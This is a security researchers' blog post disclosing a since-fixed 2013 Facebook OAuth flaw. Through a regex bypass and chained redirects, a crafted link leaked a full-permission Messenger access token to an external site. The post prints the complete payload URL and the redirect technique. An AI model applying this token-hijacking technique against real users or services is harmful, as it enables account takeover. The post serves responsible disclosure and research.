How about hacking Facebook? - UnknOwn Age issue #1

A few months ago we were wondering about rolling out a new security researching blog, and -of course- we needed to start with a bang.

That's why we thought: 

After a phase of information gathering, we learned that Facebook OAuth implementation had been the subject of several vulnerabilities in the recent past, so we decided it would have been a good starting point.

What we finally got was an OAuth authentication flaw which allowed an hypothetical attacker to gain full control over a user's account once (s)he clicked on a specially crafted link.

We reported this vulnerability on 28th February 2013 to Facebook Security Team, which readily fixed in a few days, making us part of their Bounty Bug Program. 

Overview

"The OAuth Dialog is used within the authentication flows to enable a user to authorize your application and to grant additional permissions to your app."  (more info)

The point is that when a user allows to grant any permissions to a Facebook application, a unique string (access_token) is generated, in order to allow the OAuth system to keep track of the user authentication.

In order to make it easier to understand, here is a brief outline of the main points of the Facebook OAuth client side login flow.

Just focus on these 3 entities: a Final User, an Application and a Service Provider (ie.   Facebook).

• An Application wants to ask a Final User for several permissions on his account.

• By clicking "Allow", the Final User, asks the Service Provider to generate an access token in order to accomplish the Application request.
• After generating the access token, the Service Provider, needs to forward it to the Application. This operation is performed by redirecting the user to the Application's website, sending the access token as a GET parameter.

Proof of concept

The proof of concept basically consists of forcing a logged-in user to -unknowingly- generate a full-permission-endowed access token and than, hijack it.

When an application wants Facebook to generate an access token, the user has to visit an url like

http://www.facebook.com/connect/uiserver.php?app_id=[APPLICATION_ID]
&display=page&fbconnect=1&method=permissions.request&response_type=token&next=[APPLICATION_SITE_URL]

then (s)he will be redirected to the destination specified in the next parameter so that the application could retrieve the access_token from the query string.

The next parameter is meant to contain an application-associated domain or -at worst- a couple of white-listed Facebook internal domains. 

As a result of several past OAuth-related vulnerabilities, a further check has been added -even on white-listed domains- so that the next parameter can be no longer tampered with the value of a specific file or directory (ie. http://trusted-site.com/mydir/myfile.php).

After a little bit of fuzzing, we found out that the regex meant to implement this security measure was not fully effective, and we were able to overcome it with a payload like

https://www.facebook.com/connect/uiserver.php?app_id=[APPLICATION_ID]&display=page&fbconnect=1&method=permissions.request&response_type=token&next=https://en-gb.facebook.com/#/[ANYTHING]

At this point we were sure enough we could get up to something: what we needed was just a way to make a logged-in user reach to an external website through a trusted Facebook domain, preserving his access token someway in order to hijack it.

The only way to perform an header based redirection -allowing the access token to be forwarded- seemed to be to set up a Facebook mobile web application but -unfortunately- both apps.facebook.com and touch.facebook.com were not part of the white list.

Here comes the tricky part: we noticed that each redirection reaching to an external destination is handled by the l.php script, and it was also reachable from our white-listed domains.

Therefore, the exploiting vector becomes a three-step redirection.

Final payload example

https://www.facebook.com/connect/uiserver.php?app_id=220764691281998&display=page&fbconnect=1&method=permissions.request&response_type=token&next=https://en-gb.facebook.com%2F%23%2Fl.php%3Fh%3DWAQG7yTab%26u%3Dhttp%3A%2F%2Ftouch.facebook.com%2Fapps%2F553915947960145

Let's take a look at that. 

• The first redirection forces the victim to visit https://en-gb.facebook.com/#/l.php?h=WAQG7yTab&u=http://touch.facebook.com/apps/553915947960145.

• Then, the l.php script just makes the user reach to a Facebook mobile web application (http://touch.facebook.com/apps/553915947960145).

• Finally, our mobile web application has been set to point to an external website, so what we have is a further redirection to http://external-website.com, with the access token still beeing passed as GET parameter. So that all external-website.com needs to do is retrieving it from the query string.

There's nothing wrong with wondering why in the final payload appears a specific application id (220764691281998) -contrariwise- it is one of the key points of the whole exploitation.

You need to know that when a user has already allowed an application, the access token is generated without asking for any confirmation whith all the permissions (s)he has already granted.

The application id 220764691281998 corresponds to Facebook messenger, a built-in one which has full access to any account by default, and doesn't need to be allowed.

Conclusions

The last thing we wants to be clear on is the h parameter that you see in the first redirecting destination; it just tells the l.php that the redirection can be performed directly, without any warning about the user leaving Facebook website.

The scope of this parameter is limited in time, and Facebook security team told us that its validity isn't meant to be universal so this kind of attack could have presented some kind of restrictions.

By the way according to our tests it was always effective in targeted attacks.

Video

Here is a little demonstration